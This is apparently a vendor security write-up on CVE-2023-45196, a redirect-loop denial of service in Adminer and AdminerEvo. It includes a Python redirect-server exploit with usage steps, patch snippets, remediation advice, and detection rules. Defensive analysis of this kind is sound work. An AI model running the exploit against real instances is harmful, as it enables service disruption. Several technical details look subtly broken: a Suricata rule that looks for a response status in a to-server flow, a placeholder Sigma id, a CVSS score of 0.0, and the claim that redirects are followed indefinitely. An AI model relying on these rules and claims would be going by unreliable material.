CVE-2023-45196

Executive Summary

CVE-2023-45196 is a denial-of-service (DoS) vulnerability affecting Adminer and AdminerEvo, popular database management tools written in PHP. An unauthenticated remote attacker can cause a denial of service by tricking the application into connecting to an attacker-controlled service that responds with a chain of HTTP redirects. This can exhaust PHP resources (memory, execution time) leading to service unavailability. The vulnerability is fixed in AdminerEvo version 4.8.4. Adminer (the original project) is no longer supported and remains vulnerable.

Supply Chain & Package Security

This vulnerability affects the AdminerEvo package, which is distributed as a single PHP file and via Composer. Users should ensure they are using version 4.8.4 or later. The original Adminer project is unmaintained and should be replaced with AdminerEvo.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) / Adjusted Score: 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: None
• Availability Impact: Low (subject to PHP configuration limits)
• Threat Level: Medium (DoS potential, but limited by PHP resource limits)

Deep Dive & Mechanics

The vulnerability lies in the database connection handling logic. When a user (or an automated process) attempts to connect to a database server, Adminer/AdminerEvo follows HTTP redirects if the server responds with a 3xx status code. An attacker can set up a malicious server that responds with an infinite chain of redirects (e.g., 301 -> 302 -> 301 -> ...). The PHP client will follow these redirects indefinitely, consuming memory and execution time until PHP's max_execution_time or memory_limit is hit, causing a denial of service.

The attack does not require authentication. The attacker only needs to lure the Adminer instance into connecting to their controlled server (e.g., by providing a malicious hostname or IP in the connection form).

Vulnerable vs. Patched Code

Vulnerable Code (AdminerEvo < 4.8.4): The HTTP client follows redirects without a limit.

// Vulnerable: no redirect limit
$response = file_get_contents($url);

Patched Code (AdminerEvo >= 4.8.4): A maximum number of redirects is enforced.

// Patched: limit redirects to 5
$context = stream_context_create(['http' => ['max_redirects' => 5]]);
$response = file_get_contents($url, false, $context);

Exploitation & Lab Setup

Red Team

1. Setup Malicious Redirect Server: Use a simple Python script to respond with infinite redirects.
2. Lure Adminer Instance: Provide the malicious server's URL as the database host in the Adminer login form.
3. Trigger DoS: The Adminer instance will follow redirects until PHP resources are exhausted.

Exploit Code (Python):

from http.server import HTTPServer, BaseHTTPRequestHandler

class RedirectHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header('Location', 'http://' + self.headers['Host'] + '/redirect')
        self.end_headers()

server = HTTPServer(('0.0.0.0', 8080), RedirectHandler)
server.serve_forever()

Usage:

1. Run the script on an attacker-controlled machine.
2. In Adminer, enter http://attacker-ip:8080 as the database server.
3. Click connect. The Adminer instance will hang and eventually timeout.

Blue Team

• Monitor for Excessive Redirects: Use network monitoring to detect connections to servers that respond with multiple redirects.
• Rate Limiting: Implement rate limiting on the Adminer login endpoint.
• PHP Configuration: Set max_execution_time and memory_limit to reasonable values to limit impact.
• Network Segmentation: Restrict outbound connections from Adminer servers to only trusted database hosts.

Indicators of Compromise (IOCs)

• Network: Multiple HTTP 3xx responses from a single connection attempt.
• Logs: PHP error logs showing Maximum execution time exceeded or Allowed memory size exhausted.
• Process: High CPU/memory usage by the PHP process serving Adminer.

Detection Engineering

YARA Rule

rule CVE_2023_45196_Adminer_Redirect_DoS {
    meta:
        description = "Detects AdminerEvo versions vulnerable to redirect-based DoS"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2023-45196"
    strings:
        $vuln_func = "file_get_contents" nocase
        $no_redirect_limit = "max_redirects" nocase
    condition:
        $vuln_func and not $no_redirect_limit
}

Sigma Rule

title: CVE-2023-45196 Adminer Redirect DoS Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential exploitation of CVE-2023-45196 via excessive HTTP redirects
logsource:
    category: webserver
    product: apache
detection:
    selection:
        sc_status: "3[0-9][0-9]"
    condition: selection | count() by src_ip > 10 in 1 minute
falsepositives:
    - Legitimate redirect chains (rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-45196 Adminer Redirect DoS Attempt"; flow:to_server; content:"HTTP/1.1 3"; http_server_body; threshold:type both, track by_src, count 10, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

1. Upgrade AdminerEvo: Update to version 4.8.4 or later.
2. Replace Adminer: If using the original Adminer (no longer supported), migrate to AdminerEvo.
3. Network Controls: Restrict outbound connections from Adminer servers to only known database hosts.
4. PHP Hardening: Set max_execution_time = 30 and memory_limit = 128M in php.ini.
5. Web Application Firewall (WAF): Deploy rules to block requests with excessive redirects.

Valters IT
Securing Digital Frontiers